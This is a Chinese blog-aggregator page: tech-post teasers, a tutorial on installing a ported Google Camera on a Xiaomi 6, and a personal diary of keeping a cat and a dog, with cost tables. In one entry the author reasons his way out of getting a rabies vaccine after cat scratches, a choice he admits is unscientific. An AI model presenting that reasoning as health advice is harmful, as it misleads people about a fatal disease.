- 博客 Jiajun的编程随想 2020-04-13 08:00:00《FreeBSD ipfw使用教程》FreeBSD，古老的UNIX系统，最近在研究它的ipfw防火墙，鉴于国内相关资料较少，我就记录下来，以飨读者。首先在FreeBSD 12中，ipfw已经默认编译进内核了，所以中文资料包括很多英文资料里，还需要编译的，就不用看了，那是过时的...
- 博客 Jiajun的编程随想 2020-04-12 08:00:00《Golang expvar库源码阅读》最近看到同事用一个库，叫做 `expvar`，这个库的作用官网描述如下：```...
- 博客 Jiajun的编程随想 2020-04-11 08:00:00《Golang SQL生成库 Squirrel 教程及源码阅读》可能看到标题会产生一个疑问：为啥不用ORM？使用ORM的好处显而易见，能够自动帮我们处理好面向对象和数据库之间的映射，Python中我使用的是SQLAlchemy，但是Go语言目前没有一个比较好用的ORM，目前的ORM都是处于半自动形态的，而且还要处理零值和非零值时的坑，想要省略某些字段要这样写，不想省略要那样写，很难记忆，因此还不如使用SQL这种已经是事实标准的，学一次就能用很久的东西...
- 博客 Jiajun的编程随想 2020-04-10 08:00:00《Golang validator使用教程》validator应该是Golang里进行表单校验的事实标准了，比如在Web框架GIN中，就是默认使用它。表单校验的作用，就是对输入的数据进行合法判断，如果是不合法的，那么就输出错误。比如...
- 博客 Jiajun的编程随想 2020-04-09 08:00:00《价值编程与职业发展》投资中有一种理念叫做价值投资，指的是评估一支股票的内在价值所应有的价格，当市场价格低于它时，买入，高于它时卖出。其中市场价与实际价格的差，就叫安全边际...
- 博客 Jiajun的编程随想 2020-04-09 08:00:00《使用Redis的Stream模块实现群聊功能》Redis 5.0 加入了一个新的模块：[Stream](https://redis.io/topics/streams-intro)，在这篇文章中，我们使用它来实现IM中的群聊。首先我们来看看我们的IM有哪些功能，回忆一下我们使用的最多的IM---微信，聊天的形式有两种...
- 博客 Jiajun的编程随想 2020-04-08 08:00:00《解决k8s cron无法读取环境变量的问题》我们使用 `cron` 放一个deployment里，而不是使用k8s自带的cron方案，原因有几个：- cron经过了历史验证，并且满足要求（虽然精度只到分钟，但是够用了）...
- 博客 贼拉正经的技术博客 2020-03-28 23:06:311485
- 博客 构建我的被动收入 2020-03-28 08:00:00个人博客搭建好后，如何让你的读者第一时间收到文章更新？本文告诉你答案
- 博客 Jiajun的编程随想 2020-03-27 08:00:00《应用内购的坑》> iOS应用内购，那真不是一般的坑。最近了解了一下iOS和Android的应用内购，也就是在App里进行购买...
- 博客 Jiajun的编程随想 2020-03-26 08:00:00《两种常见的访问控制模型》那就是ACL(Access-control list，访问控制列表)和RBAC(Role-based access control，基于角色的访问控制)。如果我们现场来做一个访问控制，会怎么做呢？最简单的就是，像门卫一样，把每个人和每个对象做一行记录，比如...
- 博客 Jiajun的编程随想 2020-03-25 08:00:00《gunicorn max-requests 选项的作用》gunicorn 是Python中常见的一个服务网关，它有这么一个特性就是，处理完一定量的请求之后，就会把那个worker重启，用一个新的worker来替代之。但是，这样做的目的是什么呢？...
- 博客 Jiajun的编程随想 2020-03-23 08:00:00《Redis使用中的几点注意事项》- 如非必要，一定要设置TTL。如果不是业务所需，必须持久存储，那么请一定要设置好TTL，否则随着时间流逝，Redis里会塞满垃圾。此外还要注意使用框架时，确定好框架是否会设置ttl，比如最近遇到的一个坑就是Python RQ没有默认为job设置ttl，因此几年过去，现在Redis内存不够用了，分析之后才发现，里面有诸多的垃圾，比如一些不用的业务数据，还有很早以前的job的数据等等，全部都堆在...
- 博客 构建我的被动收入 2020-03-22 08:00:00本文分享我常用的浏览器Chrome的一些能提高日常工作效率、开发效率与SEO优化的插件。
- 博客 庭说 2020-03-19 00:00:00
我目前的主力手机是 2017 年 8 月 1 日买的小米 6。为了摆脱续航焦虑，2020 年 3 月 14 日去小米之家，花了 ￥99 换了一个新电池。为了榨干双摄的镜力，2020 年 3 月 19 日我装上了有「夜视仪」之称的的谷歌相机。如若你不是手机摄影爱好者，就没必要折腾了。因为再强大的手机相机，在你手中也只是二维码识别器。
轻度玩家，不妥之处，敬请斧正。
💪强大在哪
HDR+ 增强
在弱光或背光环境下，拍出「高动态范围」的照片，即看到更多的细节，不至于死黑或者死白。
夜视（Night Sight）
这个当家本领可将所有隐没在黑暗中的美好细节与色彩一一呈现。请看视频演示：小米 6 安装上谷歌相机竟然变成了夜视仪？！
最佳照片
使用「最佳照片」功能挑选最美瞬间，系统会自动建议最佳照片，确保其中无人眨眼，让照片张张精彩。
鉴于其出色的夜拍表现，开发者将其移植到各种 Android 手机上，其中就包括一代神机小米 6。下面，以 MI 6 为例，开启 Google Camera 移植之旅。不懂之处，请配合视频教程「可能是最简单的谷歌相机安装教程（免 Root）」操作。
💾备份数据
从开发版 MIUI 10 11.8 伊始，手机不用 Root 也可以安装谷歌相机。所以如果是稳定版 MIUI，切换到开发版 MIUI，手机会被格式化（恢复出厂设置），所以务必备份好所有数据。
🤖刷开发版
方法一
依次点击
设置>我的设备>MIUI 版本> 右上角的 3 个点：切换到开发版。在下载的同时，可以再检查一次，数据是否都备份好了。
下载好安装包后，根据系统提示，重启，即可刷入开发版 MIUI。
方法二
你也可以通过电脑下载 小米 6 开发版 MIUI 完整安装包。
在下载的同时，访问 Google Camera Port Hub，根据机型（查找的快捷键是
Ctrl+F） ，提前下载好谷歌相机的安装包（APK）备用。下载好开发版 MIUI 安装包后，通过数据线把 MIUI 开发版传输到手机上，接着在
设置>我的设备>MIUI 版本> 右上角的 3 个点：手动选择安装包进行刷机。🍳预装环境
用 Google 的产品，怎么能少了谷歌三件套：Google 服务框架、Google Play 服务、Google Play 商店。
方法一
- 学会 科学上网。
- 借助 GO谷歌安装器 一键安装谷歌官方三件套。
- 在手机上，打开 Play 商店，注册 Google 账号。
- 下载 Manual Camera Compatibility Test（相机兼容性测试软件），安装并启动此 app ，看到全部打绿色的 ✅，说明安装谷歌相机的环境已经准备就绪了。
方法二（未亲测）
- 去 microG 下载 Services Core，即可安装轻量级的谷歌全家桶（不用科学上网，不用注册 Google 账号），重启手机。
- 下载 Manual Camera Compatibility Test（相机兼容性测试软件），安装并启动此 app ，看到全部打绿色的 ✅，说明安装谷歌相机的环境已经准备就绪了。
⚙️开始移植
- 打开 Google Camera Port Developers/Modders，根据机型下载对应谷歌相机的 APK。如果你也是小米 6 钉子户，下方是我为你整理了下载链接（Q 代表 Android 10），选一个即可：
设置>应用设置>应用管理> 找到刚刚安装好的谷歌相机> 在权限管理开启必要的选项，例如相机、录音、读写手机存储等。- 打开
电话app，在拨号界面输入*#*#0610#*#*，显示Wangzn2016，enable HAL3 test…，则代表 bulid 里面就添加了 HAL3 代码（我也不懂技术细节），然后重启手机，即可享受谷歌相机强大的拍摄能力。
0610 是 开发者 wangzn2016 的生日（6 月 10 日）
💡变得更强
以下设置，如果不生效，请重启 app（上滑退出 app）或手机。
HDR
- 相机主界面上方：
HDR+>HDR+ 增强 更多>设置>HDR+ parameters: 36（不同的 APK，操作路径可能不一样）
相机界面右侧的图标
某些 apk 才会显示以下图标：
S
Sabre（军刀）模式NS
Night Shift（夜视）AWB
自动白平衡
拍摄夜空
- 进入
夜视拍摄模式 - 点击右上角的焦点设置 🅾️ 为
远距离。更改此设置可让相机对焦到距离超过 4 米的任何位置（例如夜空）。
Save settings
更多>设置>Save settings> 输入配置的名字，然后Save，便可导出配置文件.xml到内部存储设备\Gcam\Configs。如此一来，便可分享你的配置文件给其他人，或者 导入别人的配置文件。FAQ
- FAQ and Troubleshooting Tips - Google Camera Port Hub
- GCam 各种功能翻译
- 更多玩法，请下载酷安 App，进入相应的社区。
- 博客 构建我的被动收入 2020-03-13 08:00:00如何能让搜索引擎给我们带来免费而源源不断的SEO流量？如何给新建的站做基本的SEO？如何分析老站的流量现状通过一些优化方法来提高SEO流量？如何做关键词研究？如何做网站竞品研究？如何做面向SEO搜索意图的内容创作？本文告诉你答案
- 博客 Jiajun的编程随想 2020-03-12 08:00:00《给你的代码跑个分？pylint使用教程》之前我一直使用 `flake8` 来检查Python项目中的代码规范，工作良好，除了一个问题，由于Python是动态语言，编译器只能做最基本最简单的错误检查，这也就意味着，很多错误，如果肉眼看不出来，那就得等执行报错了才会被发现...
- 博客 Jiajun的编程随想 2020-03-11 08:00:00《一个Gunicorn worker数量引发的血案》最近大佬想要我重写一个应用，为嘛呢？因为发现这个应用内存占用非常高，每个pod(我们部署在k8s里)占用1.2-1.3G，一共放了6个pod。但是按道理来说，这个应用并不复杂，不应该占用如此多的内存...
- 博客 构建我的被动收入 2020-03-08 08:00:00什么是SEO？怎么做SEO？SEO有未来吗？SEO的资源和工具有哪些？爬虫和反爬虫怎么做？SEO需要注意的问题有哪些？本文告诉你答案。
- 博客 庭说 2020-03-08 00:00:00
我不是一名合格的铲屎官，愿 Dora 和 Tinkle 能遇到更好的主人。
2020 年 3 月 8 日，朋友送我一只小母猫。这只三花毛是她从路边捡的，但是家里人不同意她饲养，于是只好把她送给我饲养。她喜欢哆啦 A 梦，所以给这只难以驯服的小野猫取名为哆啦（Dora）。
2020 年 5 月 14 日，又一条叫叮当（Tinkle）的串串狗无人照顾（免费送给爱狗人士），而我白天都在上班，不如接过来给小猫做个伴，解解闷。
2020 年 7 月 26 日，因为各种原因，我把这只中华田园猫送给开奶茶店的朋友，作为「镇店之猫」，防治鼠患。空留一条狗子，在睡眠舱咆哮。
养猫成本
2020-03-08 至 2020-07-25日期 项目 品牌 价格 购买渠道 2020-03-15 猫三联疫苗 + 驱虫 妙三多 ￥399.00 宠物医院 2020-04-15 猫砂 8 袋 永驰 ￥160.00 天猫 2020-05-17 体内外驱虫 大宠爱 ￥90.00 宠物医院 2020-05-18 无谷三拼肉宴幼猫粮 1.5 kg 信元发育宝 ￥147.91 京东 2020-06-07 全价猫粮 1.8 kg 网易严选 ￥82.30 京东 2020-06-21 狂犬疫苗（人类） 辽宁冻干 ￥431.00 二甲医院 2020-07-18 全价幼猫粮 5.4 kg 网易严选 ￥227.98 京东 2020-08-09 自动饮水器 3.8 L 迈仕 ￥15.90 天猫 如何跟猫猫建立良好的关系：慢速地朝它眨眼，并靠近它。
关联阅读
狗狗档案
中文名 叮当 英文名 Tinkle 性别 公 出生年月 2019 年 12 月 品种 串串，猜测是贵宾和雪纳瑞的混血 毛色 黄 绝育 否 宠物芯片号（PID） 900225000001144 犬类免疫证号 3696307 养狗成本
2020-05-14 至今日期 产品 价格 购买渠道 2020-04-14 疫苗（第一针、第二针）- 硕腾（卫佳伍、瑞比克） ￥160.00 宠物医院 2020-05-15 幼犬狗粮 8 kg - 皇家 ￥84.98 京东 2020-05-17 体内外驱虫 - 超可信 ￥150.00 宠物医院 2020-05-17 体外驱虫喷剂（杀跳蚤） - 福来恩 ￥149.00 宠物医院 2020-05-19 沐浴露 1 L - 雪貂留香 ￥41.00 拼多多 2020-05-19 自动饮水器 + 喂食器 - 瀚品 ￥32.00 拼多多 2020-05-19 小号梳子 ￥7.80 拼多多 2020-05-19 剃毛 + 美容 ￥140.00 宠物医院 2020-05-23 玩具（骨头、棉绳球、漏食球）- 派乐特 ￥23.90 京东 2020-07-04 疫苗（第三针） - 硕腾（卫佳伍） ￥80.00 宠物医院 2020-07-05 疫苗（第四针；办理犬证用）- 瑞贝康 ￥150.00 宠物医院 2020-07-17 溶液（治疗真菌感染）- 宝疗微 ￥110.00 宠物医院 2020-07-17 伊丽莎白圈（宠物保护套）- 焱松 ￥25.00 宠物医院 2020-07-17 感冒针（一天 3 针，连打 3 天） ￥240.00 宠物医院 2020-07-17 衣服（防止着凉或晒伤） ￥11.45 淘宝 2020-08-02 狗绳、狗圈、胸背带 - 派乐特 ￥12.90 京东 2020-08-12 全价小型犬狗粮 2 kg - 网易严选 ￥48.9 京东 2020-08-27 剃毛器（电推剪）- 蚁族 ￥55.90 淘宝 2020-09-05 全价小型犬狗粮 2 kg - 网易严选 ¥47.00 京东 2020-09-13 体内外驱虫（3 片）- 超可信 ￥404.00 宠物医院 2020-09-27 全价小型犬狗粮 2 kg - 网易严选 ￥49.00 京东 2020-10-10 发声漂浮橡胶弹球 Squeaker Ball（直径 5.1 cm）- Petmate ￥29.00 京东 2020-10-23 全价小型犬狗粮 o.7 kg - 网易严选 ￥24.00 京东 2020-10-23 全价小型成犬粮 10 kg - 比乐原味鲜系列 ￥360.00 狗友小宋 注意事项
- 不推荐囤积狗粮，狗粮受潮后，容易滋生细菌。
- 定期清理肛门腺 - 萌爪医生
2020-03
2020-03-08
Dora 来了。
14:30眼泪汪汪的委屈样，看来经常被 Ashley 揍。牙齿尖尖的，喜欢咬人。
2020-03-09
被 Dora 吵醒了。
06:50Dora 是个胆小的疯婆子，现在无法驾驭。
迫不及待想要回去摸 Dora。
2020-03-10
Dora 喜欢把人类的脚当成猎物，冷不丁从远处发起攻击，一把抓住你的脚，挠啊挠。
00:56Dora 是猫型闹钟。
06:15一打开衣柜，Dora 就会冲进来，然后就撵不出去。
21:372020-03-11
我坐在电脑前写博客，Dora 安静地躺在我的膝盖上，纵使有很多蚊子，脚上叮满了「红点」，我也不想惊醒这只让人又爱又恨的小猫咪。
00:08今晚不想把 Dora 关进笼子里，希望她不要打开我的蚊帐。
00:30有猫叫，没懒觉。
07:152020-03-12
今晚开始，我要把 Dora 重新关进笼子里，一整晚在床上跳来跳去，咬我的脚趾头就算了，Dora 居然咬我的耳朵 ，还死死不松口。
07:43Dora 不吃肥猪肉。
2020-03-13
Dora 最近越来越疯癫了，刚刚居然抓我后背！
00:45梦到 Dora 死死咬住我的右手食指不放，然后我的食指就流出来「绿色的饭粒」。在我们那，「绿色的饭粒」是吓唬调皮小孩的话。
Dora 咬我下巴。
Dora 咬我奶头，隔着白色 T 恤衫，右边。
18:56Dora 霸占了我的枕头，谁来拯救我的睡眠舱？
00:332020-03-14
Dora 打了第一针疫苗。
16:13Dora 打完针会嗜睡，今晚可以安宁了。
23:342020-03-15
Dora 咬我的胳肢窝和肱二头肌。
07:11Dora 跟 WYR 玩得很好。
2020-03-16
Dora 在床上跳来跳去，又不忍心放她进笼子里。
2020-03-17
Dora 总要偷喝我杯子里凉白开。
Dora 不喜欢吃猪肉，火腿肠和骨头，但是喜欢吃炸鱼块。
20:38Dora 有时会把头埋进猫窝里，幻想妈妈在身边，她在喝奶。半个小时后，猫窝就湿了。可能是因为幼年流落寒冷的街头，断奶太早所致。
2020-03-18
今晚开始，绝不心软，一定要把 Dora 打入冷宫。因为睡眠严重不足。
2020-03-19
我已经把蚊帐盖的严严实实了，Dora 还是想办法爬进来和我睡。真是一个小机灵鬼。再纵容她一晚上。
01:12被 Dora 抓花了额头，已打入「冷宫」。
01:40Dora 在笼子里拉屎了，有点臭，起来收拾。而且一直喵个不停，只好放出来。这次我把蚊帐用很多燕尾夹封死了，看她怎么破。
右脚踝被抓出血了，还没决定去打疫苗呢：
- 被城市小猫咬伤染上狂犬病的概率较低，大部分因狂犬病致死的人来自农村。（待求证）
- 作为在农村长大的孩子，我肯定被猫狗抓伤或咬伤，好像从来没有去打过疫苗，还好至今健在。
- 囊肿羞涩：费用大概四百多块；一共 5 针，还要请 5 天事假（扣工资那种）。
- 生亦何哀，死亦何苦，我也已经体验大部分人类生活了，离开人世，也没什么大的遗憾。
- 医院会增加感染新型冠状病毒的风险。
综上所述，再赌一把，暂时在家观察。我这个对生死看淡的懒人，做出了这个不科学不负责的决定，不吃惊。02:11
在蚊帐旁兜里一圈又一圈寻找突破口，太吵了，只好打开蚊帐让 Dora 进来。让后她就像疯婆子一样在床上跑来跑去，时不时扑过来挠我。
02:20Dora 趁我去淘米，偷吃一块炸鱼，还把键盘弄得都是油。
左脸颊被 Dora 咬了。
20:582020-03-20
Dora 在笼子也是挺乖的。
2020-03-21
还是一如既往的淘气。
Dora 睡在我的身旁，一只肉爪子按在我的脸蛋上，她此刻安详地打着呼噜，希望明天醒来，我没有毁容。
01:49每天都要和 Dora 大战三百回合。
09:02第一次独自一人给 Dora 洗澡，两只手不够用。
17:172020-03-22
Dora 偷吃我做的的苦瓜丁炒饭，在轰走她的时候，打翻了我的水杯，所幸笔记本电脑还可以启动。
21:382020-03-23
Dora 会跳到窗户上，从三楼凝望外面的世界。人类把宠物圈养起来，是残忍还是对动物的保护？
2020-03-24
现在我已经不担心 Dora 跳窗的事了，生物的本能会让她珍惜自己。
2020-03-25
Dora 今天早上唤醒主人的方式很过分：
- 左眉头处被抓了 1 厘米，虽然破相了，但是挺酷的。如果是下眼睑，那就更好了，用猫爪子刻下 Luffy 同款的刀痕。
- 手心虎口处也被抓了，握紧摩托车的油门把手，微疼。
而且太吵了，我的睡眠严重不足，今天居然关了 3 次闹钟才起床成功（每次贪睡 5 分钟）。
Dora 会在厕所拉尿了，但是还是要在猫砂里拉屎。
2020-03-26
我是被你囚禁的猫，已经忘了窗有多高。如果离开你给我的小小城堡，不知还有谁能依靠。
我像是一个你可有可无的玩具，和寂寞交换着悲伤的心事。这撩乱的城市，容不下我的吃，是什么让我这样暴食，这样的放肆。
对胃无计可施，这无味的日子，我的饱腹是唯一的奢侈。
改编自：彭羚 1996 年演唱的歌曲《囚鸟》
2020-03-27
Dora 果然是夜猫子，一到晚上就疯了一样。
01:022020-03-28
鼠标的线被咬坏了，不能用，去京东买了罗技 G102。
路由器的电源线也被咬坏了，但还可以用。
笔记本电脑的 delete 键也被她坐坏了。
气死我了，我要撸秃她。
08:34每次一打开衣柜，猫咪就会立即窜进衣柜。
2020-03-29
给 Dora 洗澡，这次比较乖了。
2020-03-30
Ashley 一口气给 Dora 买了 8 袋猫砂（保质期 12 个到 18 个月），2 瓶除菌除味喷雾。
2020-03-31
学习养猫的计划迟迟没有推进。
2020-04
2020-04-01
我在小时候就喜欢把小猫小狗抱到被窝里，虽然农村的动物都不洗澡，我也不嫌脏。Dora 也会钻进我的被窝里，但是她会咬我肚脐，手臂和裤腰带，完全不是「淑女」。
2020-04-02
Dora 最近不爱吃猫粮了，刚好可以减肥。
00:42Dora 总爬到我的水杯旁，偷喝我的白开水，于是我把水杯放在高处（位于笔记本电脑上方的隔板）。就在刚刚，水洒到笔记本上。
2020-04-03
终于深刻体验到什么是「夜猫子」了。Dora 白天睡觉，晚上胡闹。
01:342020-04-04
要是 Dora 是一个可以听懂人话的猫精那该多好呀，也许我就不会把表达欲都倾泻在博客上了。
01:12带 Dora 去打第二针疫苗。太凶了，女兽医的针 刺不进去，只好转交给上次的男兽医处理。
09:50Dora 的品种原来是狸花（中华田园猫）。
Dora 被人遗弃，或自己走丢，小时候没喝到奶，只好幻想自己在喝奶。
2020-04-05
今天要出一趟远门，可能 2 天不回来。倒满了猫粮和水，打开衣柜换衣服，像往常一样，Dora 会窜进来。就在我准备出门的时候，发现哪里不对劲：猫去哪了？床底下也没找到，我呼唤 Dora，循着微弱的猫叫声，发现她被我随手关在衣柜里了。如果我在出门的时候，没有多留一个心眼，Dora 会不会把我的衣服都撕碎了？以及我又做回独居青年（猫死了）？
2020-04-06
今晚没有回去睡觉，希望 Dora 一切都好。
Dora 听到我的脚步声，还没开门，就哇哇的叫。一进门，就使命蹭我的脚，这是最令人享受的 Moment，人与动物之间，亲密无间。
但很快，我就把她锁在笼子里，因为她要咬我的鼠标线，手机数据线，笔记本电脑电源线……一碰她，也虎虎地咬我。
2020-04-07
Dora 喜欢咬我的头发，纵容下去，我迟早会变成性感的秃头先生。
01:362020-04-08
Dora 睡在我的枕头旁边，我感到很幸福。
2020-04-09
宠物医院的兽医告诉我不能给宠物猫吃人类的食物，因为猫咪喜欢重口味之后，就不爱吃猫粮。但我还是到其道而行了，像农村养猫一样，不限制猫咪的食物种类，毕竟中华田园猫，生命力比较顽强。如果没东西吃，她自然会去吃猫粮。
2020-04-10
Dora 总是喜欢喝我水杯中的凉白开。
2020-04-11
今早照镜子发现，左脸颊被猫抓了一厘米左右的疤痕。
09:402020-04-12
两周没给 Dora 洗澡了，因为兽医（好像）跟我说 7 个月内都不用洗澡，因为此时猫咪的免疫系统还不够强健。
2020-04-13
今天买了一个桌面电脑音箱，为了测试音质把音量调到最大声，可怕 Dora 吓坏了，怎么呼喊都不应，正当我准备出门找猫时，发现她躲在床底下瑟瑟发抖。过一点时间，Dora 就适应这个音箱了。
Dora 居然喜欢吃煮熟的红薯。
2020-04-14
Dora 喜欢躲在被窝里，钻到我的脚下睡觉。
2020-04-15
Dora 长得挺快的。
我把猫咪紧紧地拥入怀里，这样我就可以不用抱着寂寞入睡，虽然有一股猫骚味。
2020-04-16
Dora 咬了我的眉毛。
2020-04-17
Dora 终于见到了领居家的小狗。
2020-04-18
一只爱吃番薯和「打曲棍球」的猫。吃了一块红薯之后，就开始糟蹋食物，窝窝头就更别提了，玩得更欢。
2020-04-19
每天早上都要跟 Dora 大战 300 回合：她不停的扑过来咬我，我不停地把她降伏，而且越打她越来劲。
07:582020-04-20
Dora 的泪痕好重。
2020-04-21
我抱着 Dora 一直转圈圈，她倒在地板上，我倒在床铺上。
一个人给猫咪剪指甲，好吃力。剪完之后，身上都是毛。
2020-04-22
吃饱饭就不想写作、学英语和找工作（未辞职），然后就躺在床上跟猫咪玩耍。
22:19Dora 喜欢用身子蹭我的脚，我喜欢用我的头蹭 Dora 的身子。
23:082020-04-23
我的被子应该沾满了猫毛，但我不在乎。
Dora 居然可以跳到冰箱（中等高度）上，然后偷喝我的水，这意味着我每天都跟一只母猫间接接吻了。怪不得 Dora 自己的水杯总是满满的。
00:372020-04-24
鼻子被 Dora 咬了一口。
02:292020-04-25
Dora 一直养着高处乌龟。
01:23枕着 Dora 睡觉😴，真舒服。
01:30带 Dora 去打了第三针疫苗，这次很乖，没有咬女兽医。
10:302020-04-26
今天下班回来，发现 Dora 不在卧室，找啊找，发现 Ta 藏在被窝里睡觉。
2020-04-27
社区网格员来查房，看到 Dora 后，直呼可爱，忍不住逗她。
2020-04-28
Dora 会在厕所拉尿，为什么不在厕所拉屎呢？
2020-04-29
回家一周左右，Dora 交给球友 CZL 打理。每天晚上看看 Dora 有没有饿死或者越狱了。
22:102020-04-30
Dora 挺乖的，没有收到临时监护人 CZL 的投诉。
01:352020-05
2020-05-01
因为 CZL 明天要上班，所以 CZL 提前一天带 Dora 去打狂犬疫苗。
2020-05-02
Dora 还好吗？有点想她。
01:232020-05-03
Dora 在干嘛呢？
2020-05-04
明天就可以回去被 Dora 欺负了。
2020-05-05
我把猫砂盆拿去泡水了（以便软化猫屎），所以 Dora 从下午到现在不能照常解手。只好去厕所拉便便，这是她第一次去解决。不过她的前一任主人买了很多猫砂，得先用完。不然，从今晚开始我就可以省了猫砂钱了。
22:332020-05-06
我的上嘴唇 👄 被这只母猫 🐱 咬出血了，然后出现了两道可见的牙痕（大概 1 厘米长）。
23:492020-05-07
Dora 经常喝我杯子里的白开水，一开始我会倒掉，现在我选择共饮。
2020-05-08
最近 Dora 吃得少，毛发也褪去了光泽。
2020-05-09
Dora 是孤独的猫，我是孤独的人，我们相拥而眠。
2020-05-10
猫的舌头 👅 像砂纸一样粗，舔我的脸的时候，这种感受更明显。
2020-05-11
Dora 今晚似乎恢复了活力，拉了好多便便。之前因为打了疫苗，生命活动不活跃，
2020-05-12
Dora 喜欢看我洗澡。
2020-05-13
我一回来，把她抱在怀里，然后我仰天躺在床上，这是 Dora 温暖的前爪就会捂住我的嘴🤫，似乎在说：「不要说话，撸我。」
2020-05-14
一条叫叮当（犬种是串串，出生日期是 2019 年 12 月）的狗狗没人照顾，就在 500 米，别人送我，今晚去接了起来，挺乖的，挺脏的，洗澡也没有叫，但是猫一直在叫。
23:19串串狗是所有杂交品种狗或品种特性不明显的狗的总称，不是某个具体的犬种，基因不纯。
2020-05-15
叮当有虱子。
00:25哆啦现在还对叮当虎虎生威。
01:25希望今晚下班回来（无人在家），狗子还有一个全尸。
06:47叮当的英文名哪个好：Jingle OR Tinkle？
下班回来，地板上都是狗尿，猫与狗也没有和解。
第一次出来遛狗，忘记带纸巾出来，万一狗拉便便，那就尴尬了。
叮当表面温顺，遇到其他狗子，也会吼。
20:12三姐我说这条狗太丑了，父亲让我把猫给放生了。
21:322020-05-16
吃完宵夜，一进门：一堆狗屎，一滩狗尿，一堆猫屎（猫被狗带坏了，不在猫砂里解手）。
2020-05-17
狗子把我的睡眠仓搅得天翻地覆。
一起来，地上狗屎狗尿。
事实证明，被子上猫毛是洗不掉的。
10:552020-05-18
驱虫好贵，猫粮好贵。
01:06早上起来，房间整洁，没有屎，只有尿。感觉不对劲，匆匆吃了早餐后，拿起纸巾和垃圾袋，套上狗绳，带狗子到外面释放排泄物。遛了五分钟，我终于获得「室外铲屎官」的成就，
07:30狗子偷吃了开封的零食（鸡小胸），不过没有在房间拉臭臭，就原谅他了。
20:47叮当吃了哆啦的（猫）屎。
21:02狗子体重 5.15 kg，猫咪体重 2.7 kg，我的体重 65.65 kg。
2020-05-19
放哆啦出去活动，没想到自个跑到上一个楼层（4 楼）去了，还不肯下来。
今晚遛狗，拉了软塌塌的便便，宠物医院的兽医说可以睡觉着凉了（肚子贴着冷地板）。
21:18把狗子（免费）寄养在宠物医院，明天宠物美容师就会把叮当梳洗好。
21:37狗吃猫粮，猫吃狗粮。
2020-05-20
理条 5 kg 的狗（毛），花了 ￥140，还要天天带他出去拉臭臭，还是养猫轻松。
21:092020-05-21
地上都是狗屎，我还踩到了。
07:10下雨了，就不用下楼遛狗，那就上天台吧。
19:282020-05-22
抱着狗子看美剧，幸福。
00:25狗子居然跑出来了，在楼道里拉屎，难道我没关门，或者没关紧。
10:17我知道原因了。我把包挂在门把手上，然后狗子咬我包的时候，不小心把门打开了。
10:26不慎踩到小猫，她立刻反咬我一口。
狗子居然自己下楼跑出去了，得亏唤回来了，不然我会比失恋还伤心的。
22:112020-05-23
我成了天天捡狗屎的人。
19:33猫咪从窗户跳进杂物间，我进不去，她也不肯出来，不管了。
21:092020-05-24
猫咪把我的陶瓷杯从冰箱上推倒书桌上，水洒了，杯子没碎。
把猫咪带到天台放风，她却怂了，要回家，但狗狗可喜欢天台了。
07:28谁放屁这么臭？狗子还是猫咪？
09:04打开窗一看，楼下停着一辆抽粪车。
09:10狗子把隔壁小姐姐的鞋子叼走了。
拖到现在才去打狂犬疫苗。理由：万一我死了，可能就没人照顾哆啦和叮当了。
10:19打狂犬疫苗，一点也不疼。
11:11虽然打完疫苗后，饮食要清淡，但我还是忍不住要吃辣椒。
11:532020-05-25
狗子晚上六点半多就开始吵吵闹闹，啊，我那少得可怜的睡觉时间。
07:24狗子有把猫屎叼出来，弄得满地板都是。
14:172020-05-26
狗子又在房间里拉便便了。
看着狗子在天台蹦跶，真羡慕。
07:33狗子被人投入气味大，猫咪居然跑到陌生邻居的床上窝了起来，太不省心了。
21:20狗子喜欢吃鸭汁饭。
22:352020-05-27
狗子不安宁，真怕邻居投诉。
06:40狗子又在吃猫屎，头疼。
06:502020-05-28
狗子睡得晚，起得早，还特别吵，我觉得邻居快要受不了。
07:08大半夜，大清早，狗子不停歇。如此扰民，打狗解气。
虽然 23:00 才回到睡眠仓，但是狗子没有房间拉屎，太棒了。接着立即带他去天台解手。
2020-05-29
狗子拉稀，难道是因为昨晚喂了一包湿粮？
狗子总是把猫砂盆里猫屎叼出来，满地都是。
07:562020-05-30
自从叮当来了，宠物日志充满了狗子，微信猫咪省心，狗子闹心。
01:292020-05-31
Good dog，今晚没有吠。
00:36Dora 居然跳到衣柜上面去了，比我身高还要高很多。
06:242020-06
2020-06-01
这两个生物不到六点钟，就在房间里追赶跑跳蹦，搅得我不得安宁。
狗子昨晚没有把猫屎叼出来，也没有拉屎在睡眠仓，Good boy。
06:22狗不会被鱼刺卡到？
我的右手被 Dora 抓出去血了，这个疯婆子。
23:292020-06-02
狗子在天台啃朽木。
06:50蒸了一个鸡蛋，猫吃蛋黄，狗吃蛋白和蛋黄。
07:07Dora 的更精确的叫法是三花猫（毛色由黑、白和红（黄/橘）构成），根据遗传规律，几乎都是暴脾气的小公主（染色体是 XX），很少是公猫（染色体突变为 XXY，非常稀有，在日本被视为幸运的象征）。
2020-06-03
不能养成早上六点多就要遛狗的习惯，不管狗子怎么呼唤，当前憋不住就先拉在房间吧，后期慢慢教。
睡了十分钟懒觉，然后就没时间去天台遛狗。
2020-06-04
狗子在天台拉完屎尿，要几分钟，自动会下楼梯。
00:162020-06-05
捡猫屎，碰到猫屎了。
07:26给狗子吃骨头（鱼和鸭），应该不会卡到喉咙或肠胃吧？
22:18便便很硬，里面有骨头。
2020-06-06
早上，狗子又在房间拉屎了。
07:09父亲让我把猫狗扔了，特别是猫，越早越好，找不到人就丢在深山老林里。
23:052020-06-07
左手手腕出被猫抓出血了，2 厘米长的口子。
07:48手上满是被 Dora 抓的爪痕，脖子上也有一些。
2020-06-08
从三楼走到六楼的天台，还没登顶，狗子就失禁了，把便便 💩 排泄在楼道里。
Boys often like dogs very much. The animals can listen to their masters. But my dog does not listen to me.
23:582020-06-09
狗子晚上还会叫。
下班回到家，没有狗屎狗尿，很棒。
19:23今天狗子表现好，额外来天台放风一次。
22:08今晚看到 Dora 在蹲坑里拉便便 💩，Good girl。
斗鱼生了很多宝宝，花了很久才把 Ta 们与母体分开。没有活饵（例如草履虫）给小斗鱼开胃，只好放一些煮熟的蛋黄和粉末状的斗鱼饲料。
2020-06-10
不知是饿坏了（但是拉得不少），还是吃了我拌的饭，狗子吐带泡沫的黄疸水。
外出学习一两周，委托了两位朋友照看猫狗。走了软肋，我不再无所畏惧。
2020-06-11
串串狗昨晚吐了 2 滩黄水，早上又吐了 4 滩黄水。排泄物正常，生命活动正常（追赶跑跳，欺负猫咪），原因可能是：
- 吃了人类的食物（汤饭、炸猪皮）
- 不爱吃狗粮，喜欢吃猫粮
按照邻居养狗小姐姐的意见，煮了 2 个鸡蛋，狗子哗啦啦地吃完了。
